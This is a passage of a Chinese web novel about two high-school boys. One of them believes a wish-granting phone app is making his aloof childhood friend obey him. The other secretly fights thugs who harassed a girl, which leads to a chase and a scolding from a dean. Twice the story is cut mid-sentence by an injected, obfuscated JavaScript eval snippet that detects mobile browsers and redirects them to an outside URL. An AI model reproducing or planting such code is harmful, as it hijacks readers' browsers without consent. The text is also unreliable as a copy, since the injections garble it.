结果刚踏出房门一步,就被秦子规抬手捏住睡衣后领给提溜了回来。 盛衍气得一巴掌打掉他的手:“干嘛呀!” 秦子规没回答,只是弯腰从门边捡起一只拖鞋,再从桌子下边捡出另一只,放到盛衍跟前:“穿上。” 盛衍忿忿不平地趿上拖鞋:“你可真是个老妈子。” 秦子规不否认:“我不是老妈子的话你昨天晚上就臭烘烘地在厕所睡一宿了。” “……” 垃圾! 盛衍寄人篱下,吃人嘴软,暂时吵不过秦子规,只能恶狠狠地瞪了他一眼,然后气哄哄地回了对面自己房间,把门一关,书包一甩,正准备翻出自己特意定制的“生秦子规气的时候专用飞镖靶子”,衣兜里的手机突然一震。 掏出一看:[心想事成APP:检测到宿主当前信任情绪为百分之三十,且今天为宿主生日,所以系统决定临时赠送初级愿望X1,时效截止2020年7月8日0点] 还有这种好事? 盛衍现在对于这个APP的态度是信了但又没完全信的态度,不过看到这条消息的第一秒,还是灵机一动,直接打字:[希望秦子规今天老老实实给我当个小弟] 愿望批准。 然后打开房门,冲着对面房间正低头收拾桌子的秦子规大喊了一声:“秦子规!你给我过来!” 秦子规停下手上动作,走到对面房门前,斜靠着门框,隔着一条过道,垂眸看着他:“有事就说。” 还嚣张。 盛衍冷哼一声:“叫哥哥。” 秦子规微挑了点儿眉,神情看上去不算友善。 他本身就是有些凉薄不好亲近的长相,这会儿眉梢微抬,居高临下,看上去就分外不好相与。 盛衍倒是也从来不怕他。 只是...... 难道那个许愿APP真的是个骗子APP? 盛衍正想着,脑袋顶上传来了一声凉凉的“哥哥”。 “?” 盛衍抬头。 秦子规微蹙着眉,看上去应该是非常不乐意,但又好像在冥冥之中被一股无形的力量迫使着不得不开口一般,喉头一滚,双唇轻启,不情不愿地再次送出两个字:“哥哥。” 于是那一刻,天晴了,雨停了,盛衍觉得自己又行了。 他仰着脸,眉眼舒展,粲然一弯,露出一个少年人得意张扬的笑容:“诶,好弟弟。” 6. 反差 Chapter.06 盛衍此时此刻对这个心想事成APP的信任度已经从百分之三十飙升到了百分之六十。 之所以不是百分百,是因为以前两人还没闹翻的时候,秦子规一般也由着盛衍说什么就是什么。 所以也不一定全是APP的功劳。 至于到底是怎么回事,还是要等明天再看。 不过盛衍打小就属于那种特别容易满足也特别好哄的人,心情差得快,好得也快,一丁点儿甜头就能让他身心舒畅。 于是在和秦子规的持久战中取得了阶段性胜利的喜悦,已经冲刷掉了他对许愿APP的所有纠结。 心满意足地又听了三声“哥哥”后,就无视掉秦子规冷得跟个死人一样的眼神,嘚瑟地趿着拖鞋去洗漱更衣了。 家里一共三个卫生间,一个在客厅旁,供客人和保姆阿姨公用,不带浴室和私人洗漱用品,剩下两个,一个在二楼主卧,一个在秦子规的次卧,都是自带浴缸,干湿两用。 盛衍自然不可能跑到二楼去用秦茹夫妇的,所以只能去秦子规房间蹭他的。 别的不说,秦子规的浴室倒是很大,两个人的牙膏牙刷毛巾梳子泾渭分明地摆在洗漱台的两侧,遥遥相望,互不干扰。 也不知道是谁嫌弃谁。 盛衍不满地嘟哝了一句,拿起牙膏正准备挤,突然觉得自己好像落了什么事没解决。 不是喝醉后的,而是喝醉前的。 还是和秦子规有关的。 而且隐隐能感知到是一件让他非常生气的事情。 可是到底是什么事呢? 盛衍想了半天没想起来,索性懒得再想。 反正他现在已经有百分之六十的概率拥有一个许愿系统了,到时候还不是想让秦子规怎么样就怎么样,这一件两件小事根本不是问题。 想到这里,盛衍使劲挤了一大坨牙膏。 他觉得自己现在有资格可以适当奢靡。 · 当着秦茹的面,一顿午饭吃得还算国泰民安。 但吃完饭,一离开家,盛衍就原形毕露,拎着书包带子,举到秦子规跟前:“重。” 秦子规接过书包,单肩背上。 进电梯后,盛衍下巴一抬。 秦子规顺手按下一楼按钮。 到了学校门口,盛衍双手插兜纹丝不动。 秦子规单肩挎着书包,弯腰登记。 一路到了高二六班后门,盛衍甩手掌柜似的往座位上一坐。 秦子规帮他放好书包,顺便拿出一瓶冰汽水放到旁边:“还有其他事吗?” “没了。”盛衍懒恹恹地靠上椅背,右手微抬了两下,“忙你的去吧。” 形容非常之嚣张。 而秦子规还真就只是淡淡地“嗯”了一声,就转身往一班走去了,像是没觉得盛衍这么嚣张有什么不妥一样。 平日里被秦子规高冷无情的气场威慑得不敢轻易靠近一步的六班众人,缓缓打出一个问号:“?” 什么情况? 秦子规什么时候这么平易近人和蔼可亲团结友爱了? “衍哥,你是不是抓到了秦子规什么把柄?”苟悠凭借自己出色的头脑,缜密推断。 盛衍靠着椅背,拧着汽水:“没什么把柄,常态而已。” 回忆起昨天晚上盛衍被气得试图拿刀杀人的样子,苟悠:“……” 可能是他对常态这个词有什么误解。 当然,这话他是不敢对盛衍说的,只能委婉地试探道:“或许……昨天晚上你们是不是发生了点什么特别的事情?” 比如凶残至极的校霸大佬终于忍受不住好学生高冷学神的装逼,于是把他摁在墙角暴揍了一顿,一直揍到他红着眼睛说把命都给你为止。 毕竟虽然大家平时都有点怵秦子规,但那只是单纯的因为秦子规的气场问题,实际上从来没有任何一个人看过秦子规跟别人红脸或者动粗,甚至连违反校规都没抓到过一次。 这整个儿就是一个大写的好好学习遵纪守法品学兼优且不食人间烟火的好学生,相比之下,天天逃课打架额头上还带着疤的盛衍就显得特别乱世巨星叱咤风云。 所以苟悠越想越觉得盛衍要想收服秦子规的话,就只有暴力手段这一条途径。 然而盛衍却想到了另外的事情,指尖点了点汽水瓶身,没否认:“是发生了点特别的事。” 比如那个许愿APP. 不过暂时不能说,不然会显得自己很像神经病。 苟悠却以为自己猜中了,一拍桌子:“我就知道!” 然后凑近脑袋,压低声音:“不过衍哥,咱悠着点,秦子规那种好学生可和外面那些混混不一样,你要是把他揍出个三长两短来,黄鼠狼不得生吞活剥了你?但说到这个……衍哥,你问出来了吗?” 盛衍灌了口冰汽水:“什么?” “昨天晚上秦子规是怎么知道你要逃课翻墙的?而且还用假执勤本来糊弄你,他图什么啊?” 苟悠问完,盛衍握着汽水瓶的手顿了顿。 难怪为什么总觉得像是落了什么事。 原来是把这茬儿给忘了。 不提还好,一提,盛衍想起昨天晚上秦子规骗自己时候的装逼样,一股火气瞬时就冒了上来,冷着眉眼把冰汽水往桌上一拍:“放学去问。” 这笔账不跟秦子规算清楚是不可能的。 敢骗他? 等死吧你。 于是等到下午一放学,盛衍就背着书包杀气腾腾地往一班走去。 朱鹏苟悠抱着看热闹的想法连忙跟上。 走到后门口,正好遇上林缱,盛衍看了眼教室里面:“秦子规呢?” 林缱收拾着书包:“他早走了,你找他有事?” 又走了? 这人是不是怂? 盛衍一下扫了兴,正准备离开,突然想起什么,转回身,看向林缱:“你是要去后街吃饭?” 林缱低头拉上书包拉链:“嗯哼。” 盛衍随口道:“那你跟我们一起吧。” “?”林缱警觉抬眸,“你不会是后知后觉爱上我了吧?” 盛衍:“……” 这个思维也是很别致。 为了不让林缱误会,盛衍冷着脸解释:“我是听冉哥说职高那群人晚上打算来堵你,你跟我们一起,少点麻烦。” 说着少点麻烦,实际就是“方便我揍”。 本来以为林缱听了这话或多或少会有点担忧害怕,朱鹏苟悠都准备好安慰,结果林缱只是冷笑一声:“狗东西,真以为姐姐怕他了?走,反堵他们去。姐姐今天不教教他们什么叫做色字头上一把刀,他们就不知道奶奶两个字怎么写。” 说完把书包往肩上一甩,和盛衍两人一个更比一个拽地往后街走去,身后还带着猪朋狗友两大护法。 后街是实外和职高之间一条还没来得及被拆迁的老街,再往前走一走,拐过一个弯,就是另一所吊车尾的市重点,南雾三中。 一条老街连着三所高中,遍布黑网吧和小吃店,随处可见堆满杂物的废弃巷子,没人管,也没监控,道路情况仿佛迷宫,可以说是打架约会之必备圣地。 而要从职高到实外,必须经过其中一个窄小的巷子口,巷子口前有个哑巴女人支了个小推车,卖着据说整个老街最好吃的重庆小面和狼牙土豆。 几个人就面色不善地往这个面摊一坐,一人端着一碗加麻加辣加绍子的小面,开始蹲人。 盛衍打小被养得金贵,并不会矫情地嫌弃地边摊,但也习惯性地保持比较良好的坐姿和吃相,懒洋洋坐在椅子上,支着两条大长腿,吃得慢条斯理。 头一次出来打架的朱鹏和苟悠则踩着台阶边沿,端着碗,岔着腿,蹲下身,抖着腿,把面条嗦得吸溜吸溜的,企图从形象上让自己看起来像个身经百战的混混,显得有威慑力些。 林缱觉得效果很不错,也有样学样,蹲在他俩旁边,模仿得分毫不差。 三个人就穿着实外校服整整齐齐地蹲成一排。 等到路人第数不清多少次地投来异样的眼光的时候,盛衍拉着桌椅冷漠地往后退了一米,试图划清界限。 却遭到了朱鹏悲痛控诉:“衍哥,你怎么能嫌弃我们呢!我们可是来给你撑场子的!” 朱鹏因为蹲得太久,腿都已经开始打哆嗦,却依然不肯放弃凹造型:“所以他们到底什么时候来啊?这蹲了半个小时了,我腿都麻了。” 林缱也蹲得累了,敲着腿,抱怨道:“就是,盛衍,你该不会是为了想约我吃饭,故意编的借口吧?我先说好啊,我已经对你彻底没意思了,你现在后悔已经晚了,我们只能做最淳朴的请客与被请客的关系。” “是啊,衍哥。”苟悠一边端着碗抖抖索索做帕金森状,一还不忘吃瓜八卦,“虽然浪子回头金不换,但是好马不吃回头......” “草”字没说完,盛衍就凉凉睨了他一眼。 苟悠瞬间噤声。 盛衍也没管他,只是微蹙了下眉。 冉哥说话向来靠谱,有变故也会提前通知自己,职高那群没素质的捞比更没有突然熄火的道理。 所以晚饭时间都在结束了,这群人怎么还没来? 直觉告诉盛衍,哪里有些奇怪。 隐隐约约之中,觉得像是有什么东西能串上,但就是一时半会儿找不到可以串起来的那条线。 而不等他静下心来好好串一串,目光就突然瞥到了巷子尽头一个一闪而过的身影,眸子一眯,站起身,把钱往桌上一拍:“你们吃完先回学校,我有点事。” 苟悠反应最快:“怎么?发现敌人了?” “嗯。一个很狡猾的敌人,不过我自己能应付,你们别过来。”盛衍拎起书包就准备走。 然而动作太大,书包一不小心撞上桌角,发出沉闷一声响。 苟悠本能地帮忙一兜,然后惊呆了:“卧槽!衍哥,你带了什么大型杀伤武器?怎么这么沉?” 说完就准备拉开拉链看看。 盛衍却像是生怕被人发现里面是什么一样,一把抢回,冷声道:“是你的包吗你就乱翻。” “不是,衍哥,打架归打架,但就你包里这死沉死沉的玩意儿,它不得弄出人命啊?而且马上就上晚自习了,你又被秦子规逮住了怎么办?”苟悠听上去是真有些急了。 林缱却看热闹不嫌事大,在旁边嘬着北冰洋,慢悠悠道:“放心,秦子规今天晚自习不在。” 盛衍闻言回头看她:“黄鼠狼又给他开假条了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727188|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,没有。”林缱解释了一下,“黄鼠狼说为了方便他专心备战信息竞赛,以后可以不用假条直接出校,正课缺了也没关系。” “???” 盛衍大写的不理解。 他每次去找黄书良开个假条就跟要他的命一样,前前后后不磨个几天不可能成功,不然他也不至于练得一身翻墙的好本领。 秦子规凭什么就连假条都不用了? 似乎是看出他的想法,朱鹏顾不上嘴里的面条还没咽下去,就拿着筷子含含糊糊给他比划道:“你们不一样。秦子规就算逃课,那肯定也是因为课堂上的知识已经跟不上他学习的步伐,所以自主学习去了,反正不可能去做什么违法犯罪的事情。” 盛衍无语:“说得我就会一样。” 林缱抱着瓶子,点点头:“起码你看上去会。” 盛衍:“???” “这么说吧。”语文课代表林缱主动替他答疑解惑,“你们俩的区别就是虽然都很帅,但一个长着纸醉金迷风流大少脸,一个长着国泰民安高冷禁欲脸,如果未来某一天,你们两个同时出现在了一家最低消费五十万的夜总会里,那盛衍你肯定是去消费的,而秦子规肯定是去抓黄赌毒的。这么说,你明白了吗?” 明白。 个屁。 这他妈都是哪儿来的固有偏见? 秦子规就不能是被他送去夜总会当少爷的吗? 盛衍简直要被这几个人给气死。 然而最气的是他发现自己好像竟然无法反驳。 因为秦子规那个大垃圾这辈子好像还真的没做过什么出格的事,简直就像把模范学生四个字刻进DNA里了一样。 真是又无趣又死板又没人情味,把自己跟他放在一起比较,自己都嫌晦气。 盛衍没好气地把书包往肩上一甩:“我自己心里有数,反正你们别跟过来。” 说完就快步走到巷子那头的砖墙前,脚下一跃,攀住上沿,一撑,一翻,一跳,整个人就消失在了视野尽头。 林缱:“……” 苟悠:“......” 朱鹏:“……” 就这犯罪熟练度,他们想跟也跟不上啊。 只能幽幽地叹了口气:“希望秦子规能把自己清清白白端端正正的好学生风气传染一点给衍哥吧,不然这万一真走上违法犯罪的道路了可怎么办啊。” 而随时在违法犯罪边缘试探的盛衍翻过墙后,就开始沿着敌人消失的路线警惕摸索着,像是生怕这个敌人跑了,同时又要提防对方可能带来的突袭一击一样。 等好不容易摸索到巷子另一头,左右环顾,观察半晌,确认没人,才把肩上的书包往地下一扔,蹲下身,拉开拉链,郑重地从里面掏出了一个锃光瓦亮又沉甸甸的—— 猫罐头。 几个月前盛衍出来上网的时候被一只嗲里嗲气的猫咪给碰了瓷,毛很橘,猫却很瘦。 一只很瘦的橘猫,听上去就有种违逆物种天性的残忍,所以盛衍就勉为其难地被它给讹上了。 然而好吃好喝地喂了一段时间后,猫却不见了,盛衍揣着猫罐头找了一个星期,愣是没找到,结果却在刚才被他无意间瞥到了这只忘恩负义的小逃犯的背影。 小逃犯看样子又瘦了,必须尽快捉拿归案,所以盛衍一时也顾不上那群混子,只想先把猫抓回来。 但这事他又不能给别人说,不然他堂堂一介冷酷无情铁骨铮铮令人闻风丧胆的实外校霸,翻墙逃课居然只是为了只猫,传出去多没面子。 盛衍一边想着,一边熟门熟路地打开了一盒猫罐头,按以前的接头暗号敲了两下罐子边沿,喊道:“喵喵。” 没猫应。 又喊“喵喵”,还是没猫应。 再喊“喵喵”,依然没猫应。 喵喵是他给那只小橘起的名字,在它失踪前每喊必应,今天却失了灵。 难道是又畏罪潜逃了? 盛衍蹲下身,沿着巷子,在那些杂物堆里翻找起来,边找边喊着:“喵喵,喵喵……” 因为怕吓到这只嗲里嗲气的小逃犯,铁血硬汉的嗓音被迫放得温柔,尾音还拖得有些绵长,带着少年气的撒娇感。 好在这条巷子平时没人来,不然如果被第二个人听见自己这种恶心做作的声音,怕是要杀人灭口才能捍卫硬汉的尊严了。 盛衍想着,顺势转过拐角:“喵……” 然后就呆立当场。 因为他的视野里突然出现了一双熟悉的白色板鞋,一截儿没有一丝褶皱的实外校裤,以及一只散漫垂下的好看至极的手。 手很漂亮,冷白骨感,细长匀称,指甲修剪得整齐干净,一如往常,只是手指根部的擦伤旁又带上了一道新鲜的划伤,还在渗着血,像是刚刚才打过架。 而他视线平行之处更远一点的地方,几个黄毛混混正哭丧着脸,蜷缩在对面墙根下,瑟瑟发抖地抱头蹲成一排,看上去有点眼熟。 信息量一时有些庞大。 盛衍没太反应过来,呆呆抬头,正好对上秦子规冷漠垂下的视线,于是眼睛一眨,缓缓发出了那声卡在喉咙里还没来得及完全收回的:“……” 尾音微扬,又懵又娇。 秦子规指尖一抖,像是被这一声叫得烫了手。 7. 任务 Chapter.07 喵完,盛衍懵了懵。 这声音谁? 秦子规? 不像。 黄毛? 真恶心。 那还能是谁? …… 操?! 盛衍终于反应过来,一股强烈的的羞耻感瞬间蹿上他的脑门,耳廓以肉眼可见的速度变红。 但是多年以来南雾下城区扛把子的人生经验还是让他迅速镇定下来,决定反客为主,先声夺人,站起身,挑眉质问秦子规:“你怎么在这儿?” 问完,也不等秦子规回答,就转头看向墙角那排倒霉蛋,没好气道:“你们怎么也在这儿?” 黄毛几个人刚被揍懵,又被喵懵,还没反应过来,就被兜头问了一句,顿时更懵了,不太自信地反问道:“这里……难道不是我们学校后门?” 盛衍:“……” 好像是。 所以秦子规为什么会在职高的后门? 盛衍再次回头看向秦子规,眉梢高高扬起。 秦子规不动声色地把受伤的那只右手插回裤兜,答得漫不经意:“去培训班的路上,碰巧撞上,起了点冲突。” 好好走在去找林缱的路上,结果突然被这人带到巷子里揍了一顿的黄毛:“?” 这事是这样的吗? 刚想发出疑问,就撞上秦子规冷淡投来的视线,微愣,然后抱着脑袋飞快点头:“是的是的。” 盛衍皱着眉又问秦子规:“那昨天晚上呢?” 他没有具体说昨天晚上什么,但两人都心知肚明。 秦子规依然面不改色:“昨天晚上路过网吧门口,听到他们说了些不干不净的话,就阻止了两句,也起了点冲突,没多大事。” 昨天晚上本来好好上着网,结果突然被叫出去狠狠痛揍了一顿的黄毛:“??” 这事也是这样的吗? 然后再次撞上秦子规冷淡投来的视线,只能再次飞快点头:“是的是的。” 盛衍听完这两句回答,已经脑补了一整出秦子规昨晚不小心得罪了这群人然后被这群人三番两次找麻烦的场景。 再想到秦子规手上的伤,瞬时冷了眉眼,蹲下身,照着黄毛的脑袋就给了一下:“你们知道他是谁吗就敢找他麻烦?是不是昨天挨揍没挨够,今天还想再来一次?” 两天之内被连揍了三顿的黄毛:“???” 没啊!他挨够了啊! 而且他们什么时候找他麻烦了?! 明明是秦子规连续两天来找他们麻烦好不好! 关键是这人还贼他妈嘲讽,揍人前要先慢条斯理地折起袖子,然后抽空睨你一眼,激得你怒火中烧身不由己难以自遏地想要撕碎他这层装逼的气息时,再被他长腿利落一抬直接撂倒,然后处处挑着表面不怎么看得出来实际上痛得要死的地方揍,没有一个多余动作。 全程不带任何表情,简直装逼到了极致。 就这还叫他们找他麻烦? 黄毛当了这么多年不良青年就没这么冤过,忍不住委屈吼道:“谁找他麻烦了!我们兄弟几个被揍成这样,你说我们找他麻烦?你知不知道这个人他妈的……” 黄毛说到激动处,直接松开抱头的手,打算撩起衣服把自己身上藏着的淤青露给盛衍看,然而刚刚一动,一个无意抬眸,就又一次撞上了盛衍身后那人投来的冷淡视线。 于是僵硬半秒,想起被对方面无表情地掐着脖子掼在墙上的恐惧,默默把双手搭回后脑勺,老老实实蹲下:“对不起,我错了,下次再也不敢了。所以他到底是你的谁?” 怎么会如此恐怖! 盛衍并不知道秦子规在自己背后做了些什么,只以为黄毛是被自己揍怂了,就没多想,反而是自己被黄毛这个问题给咽了一下。 对啊,秦子规是他谁啊? 邻居?同学?互相看不顺眼的死对头? 好像没一个是可以让他说出这话的身份。 短暂的停滞,盛衍想起了今天许的愿望,急中生智,淡定装逼:“他是我小弟。” 黄毛:“???” 这么恐怖的人能给别人当小弟的?! 他抬头看向秦子规,目光充满难以置信。 秦子规则双手插兜,侧靠着墙,微点了下头:“嗯,我是他小弟。” 黄毛:“……” 怎会如此! 这么恐怖的人都能给盛衍当小弟,那说明盛衍必然还有什么他们所不知道的过人之处,也就是说盛衍之前对他们的种种行为都是留了余地的,实际实力可能远远超出他们的想象。 黄毛众人看向盛衍的眼神顿时变得敬畏又震惊。 而本来还在担心秦子规不给自己面子的盛衍也偷偷松了口气。 还好,秦子规还算懂点事。 这么看来那个许愿系统好像有点用? 盛衍满意地挑了下眉,站起身,勾着书包带子,垂着眼睑,俯视黄毛:“展开说说,具体错哪儿了。” 他重睑生得极深,眼皮垂下的时候,延展出薄薄一道,衬着天生上挑的眼尾,就带了点天不怕地不怕的混不吝。 再想到这还是隐藏了实力的状态,黄毛二话不说,直接抢答:“不该不尊重女生,不该骚扰女生,不该强迫女生,不该对女生说些污言秽语,更不该碰不该碰的人。” “不该碰的人?” 前面几句都还算像样,最后一句盛衍咂摸着怎么觉得有点不对味儿。 黄毛却以为盛衍是对自己的回答不满意,赶紧解释:“我这都是听的秦哥的话,他就是这么教育我的。” “他教育的?” 盛衍蹙了点儿眉。。 黄毛吓得立即点头:“对啊对啊,秦哥原话‘我今天揍你,没有别的原因,就是因为你碰了不该碰的人’,昨天他来揍我的时候就这么给我说的。” 黄毛一门心思都在给盛衍认错道歉上,答得真诚又慌张,以至于他暂时忘记了去看秦子规的眼色。 于是盛衍在听到这句话后,眉头蹙得更深了:“什么叫他来揍你们的时候?难道昨天他不是路过,是主动来找的你们?” 认错认得正嗨的黄毛当场卡住。 盛衍转头看向秦子规。 秦子规垂下眼睑,遮住眸色。 所以这是默认了? 不是黄毛说漏嘴的话,秦子规还打算糊弄他? 可是如果昨天晚上秦子规主动去揍黄毛了就直说啊,又不是什么见不得人的事,瞒着他干嘛,他又不会…… 等等。 电光火石间,盛衍突然觉得有什么东西咻的一下就串了起来。 秦子规昨天晚上在值勤的时候因为林缱给自己送创口贴的事情甩了脸子。 听说了职高那群人找过林缱麻烦后,就直接离校,还逃了竞赛课。 然后猜到以自己的性格肯定会再去找黄毛他们算账,所以就蹲在围墙外面蹲自己,用假执勤本威胁自己,不准自己去找他们。 而为了彻底让这群黄毛死心,秦子规今天还特地来职高后门又揍了他们一次。 这一切一切的事情,如果想要变得合理,就只能是一个原因—— 秦子规喜欢林缱。 所以才会看到她给自己送了创口贴就吃醋。 所以才会听说她被欺负了就找上黄毛。 所以才会说黄毛他们碰了不该碰的人。 所以才会想方设法不让自己去帮林缱出头,因为自己是他最大的情敌。 秦子规可是从来不会违反校规校纪的模范生,居然逃课打架,还是两次,这不是爱是什么? 难怪去年生日林缱给自己表白后他就跟自己翻脸了。 看来还真被苟悠他们给说中了,秦子规就是喜欢林缱。 可是喜欢的女生重要,自己这个十几年来一起长大的兄弟就不重要了?! 自己跟他十几年的兄弟情义就这么喂了狗?! 自己在他眼里连个屁都不是?! 盛衍越想越气,越想越气,气到实在没忍住,攥住秦子规的领子,一把把他掼到墙上,拎起拳头就想狠狠给他一拳。 可是拳头到了秦子规跟前,却硬生生停了下来,指节捏得泛白,手背青筋暴起,看得出克制了很大的力量,最终还是不甘垂下,咬牙切齿地挤出一句:“秦子规,我不喜欢林缱!我跟她什么关系都没有!” 秦子规也没躲避,只是看着他,淡淡道:“嗯,我知道。” “你知道?”听到这个回答,盛衍愣了愣,然后更生气了,“你他妈知道我不喜欢她,还要跟我绝交?你有病吧!” 话音落下,旁边一直默默蹲着的黄毛小心翼翼地开了口:“那个......” “那个个屁!闭嘴!”盛衍头也没回,继续愤怒地质问秦子规,“既然你知道我不喜欢她,那你还跟我翻脸,是几个意思?我好端端的招你惹你了吗?” 不等秦子规回答,黄毛又小心翼翼开口:“那个,盛衍……” “我都说了让你闭嘴,听不懂吗!”盛衍依旧头也不回,只是看着秦子规,气得嗓子都有点抖,“秦子规,你今天就把话给我说清楚了,我盛衍到底哪儿对不起你哪儿得罪你了?!只要你说清楚,我保证从今往后再也不跟你多说一句屁话!” “那个……” 黄毛再次开口。 盛衍终于彻底不耐烦了,回过头:“没看见在这儿说正事吗!能不能哪儿凉快哪儿呆……” 盛衍骂到一半,在脑袋转动了九十度的地方突然卡了壳。 因为他看见在这个方向的巷子尽头,一个圆润饱满的身影正在怒气冲冲地冲来,还伴随着一声来自中年人气喘吁吁的怒吼:“盛衍!我就知道!你又在这里打架!” 卧槽?! 黄鼠狼怎么来了? 这被他逮回去不得罚站一个晚自习外加上操场跑十圈?! 被黄鼠狼当场逮捕的恐惧一时压过了对秦子规的愤怒,盛衍当即呆在当场。 而下一秒,他肩上的书包就被人一把接过,紧接着手腕也被拽住,然后听到低低一声:“快跑。” 于是在他大脑还没反应过来的时候,他的本能就已经驱使着他习惯性地跟着这个声音的主人头也不回地跑进了夏日暮色潮热又沉闷的小巷。 裹着傍晚烟火味的热风呼啦啦地从他脸侧掠过时,不知道为什么,盛衍突然想起了小时候。 那时候秦子规刚刚跟着秦茹搬回南雾不久。 他长得好,文静,聪明,爱干净,幼儿园的老师和小女孩们都喜欢他,可是他偏偏不爱说话,总是板着一张脸,所以幼儿园的小男生们都特别讨厌他。 他们总是一起拉帮结派地欺负秦子规,弄脏他的衣服,藏起他的便当,当着他的面朝他吐口水,说他是个没有爹妈的野种,还是个不会说话的哑巴。 而秦子规就只是听着,从不说话,从不反驳,也从不告状,那群小男生们就得寸进尺,越来越过分。 直到有一天被盛衍当场撞破,然后那时候还差一天满五岁的盛衍气得迈着小短腿一个疾跑冲上去就把为首那个胖虎直接撞倒,对着他的胳膊死命乱啃一气。 但是他一个中班小朋友哪儿打得过一群大班小朋友,最后还是秦子规冲上来一把把其他人全部推开,拎起盛衍就往外冲,才把他救了出来。 那天他们也是在南雾夏日暮色里潮热又沉闷的巷子里跑了很久很久,才终于把那群可恶的坏小孩们甩开,于是那一年盛衍的生日愿望就是希望那个胖虎倒大霉。 结果第二天那个胖虎真的就倒了大霉,鼻青脸肿哭得稀里哗啦地来向盛衍保证以后再也不会欺负他和秦子规了。 也是从那以后,一直不愿意和人亲近的秦子规开始每天等他一起上学放学,几乎寸步不离。 后来到了小学,秦子规因为一些原因不得不休学一年的时候,也只是说没关系,因为这样他就可以和自己一个班,保护自己了。 盛衍从小记性就很好,可是他也没有想到原来自己把小时候的事情记得这么清楚。 其实也不全都清楚,关于他父亲的,关于那时候的许女士的,关于其他许许多多,都是模糊的,能记得清楚地只有老宅爬满绿藤和蔷薇花的院子,姥姥姥爷做得很香的饭菜,和占据了他几乎整个童年时期的秦子规。 可是他记得又有什么用。 秦子规就是个见色忘义的大垃圾! 等盛衍从回忆里抽出思绪的时候,他们已经跑回了小区楼下,盛衍一把甩开秦子规的手:“别碰老子,有多远给我滚多远!” 他说话的声音有点喘,额发也被吹得凌乱,面色隐隐泛起些潮红。 秦子规其实也有些累,但还是一眼先注意到了盛衍被汗水浸湿了一大片的黑色T恤,低声道:“有什么事我们回家再说,你先回去把衣服换了,免得着凉。” “要你管!”盛衍现在看见秦子规就是一肚子气,也不管对方说了什么,反正凶就完了。 凶完,转身准备走,背后却传来急切一声:“秦子规,盛衍,你们两个给我站住!” 一回头,看见秦茹正推开单元楼下的玻璃门走了出来,向来温婉柔和的脸上罕见地带上了愠怒的神情,长发也只是草草盘起,甚至连妆都没来得及化,一看就是匆匆赶出来的。 而盛衍顿在原地没敢再走一步,心虚地低下头,乖巧叫了声:“秦姨。” 秦茹一看见他这样,气直接消了一半,无奈地睨了他们一眼,才说:“过来,转一圈。” 于是实外最不近人情的高冷学神和最凶猛残暴的酷拽校霸一言不发地肩并着肩地在单元门口老老实实转了三百六十度。 还行,胳膊腿儿都还在。 秦茹总算松了口气,缓和了神情:“没受伤就行。” 说完又觉得自己这样太温柔了,不够具有威慑力,又立即板起脸,用自己最凶的语气凶道:“你们还知道回来!知不知道你们教导主任告状都告到我这儿来了?你们自己给他说,是怎么回事!” 说着就掏出手机,电话接通的那一刻立马恢复温婉得体的声线:“诶,黄主任,您好,我是秦子规和盛衍的家长。没什么事,就是给你说一下这俩孩子找到了。盛衍早上不是请了病假吗,其实还没完全恢复好,刚才看见你的时候,小孩儿估计心里一下慌了,这会儿又开始头疼想吐,子规就把他送回来了。至于打架是怎么回事,我还没问,您亲自跟他们说吧。” 然后按下免提,把手机举到他俩跟前,眉尾一挑,以示她这个做家长的已经仁至义尽。 紧接着下一秒扬声器里就传来黄鼠狼愤怒无比的咆哮:“盛衍!你自己平时打架斗殴逃课不好好学习就算了!你居然还带坏秦子规!你眼里还有没有王法了!” “谁带坏他了。” 盛衍嘟哝了一句。 声音不算大,但奈何黄书良当了这么多年教导主任已经练出了一对堪比黄鼠狼的耳朵。 一听这话,立时气不打一处来:“不是你带坏他的难道还能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727189|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带坏你的?你知不知道这次期末考试你多少分?327!再创历史新低!比倒数第二低了整整147分!我在实外教书育人这么多年,就没看过你这种成绩!关键是你知道人家秦子规多少分吗?723!年级第一!他要是能把你带坏,我把脑袋割下来给你当球踢!” 噼里啪啦一大堆,还带了点单押。 吼完后甚至能够脑补出黄书良愤怒又正义的冒烟形象。 然后秦子规淡淡一句:“黄主任,确实是我带坏的盛衍。” “?” 秦子规冷静陈述:“是我自己找的职高那群人打架,盛衍只是出来吃晚饭的时候正好遇上了。” “???” 隔着屏幕都能看到黄书良脑袋上的三个问号。 秦子规语气依旧淡然笃定:“您不相信的话可以问问职高那群人,或者联系一下他们的教导主任。” “……” 秦子规平静无比的几句话后,电话那头变得异常安静。 短暂的停滞。 黄书良终于开口:“我去了解一下情况。” 等他再回来的时候,语气已经变得十分和蔼可亲:“秦子规啊,不是老师说你,见义勇为,惩恶扬善,那是好事,是值得表扬的,但是这种手段我们不提倡。你是正儿八经的好学校出来的好学生,是状元苗子,清北人才,是祖国未来的希望,一定要学会保护好自己,听到没有?” 一旁低头踢了半天小石子的盛衍闻言抬头挑眉:“等等,主任,我以前见义勇为的时候,你可不是这么说我的。” “你还有理了!”刚刚还和蔼可亲的黄书良瞬间切换暴走状态,“你别以为今天你没有带头打架你就没事了!晚自习缺勤的是不是你!看见我就跑的是不是你!又不穿校服的是不是你!考场上睡觉考了年级倒数第一的是不是你!你自己数数校纪校规你犯了几条?!你这样下去,极大可能成为社会的危害,你知不知道!” 盛衍:“??” 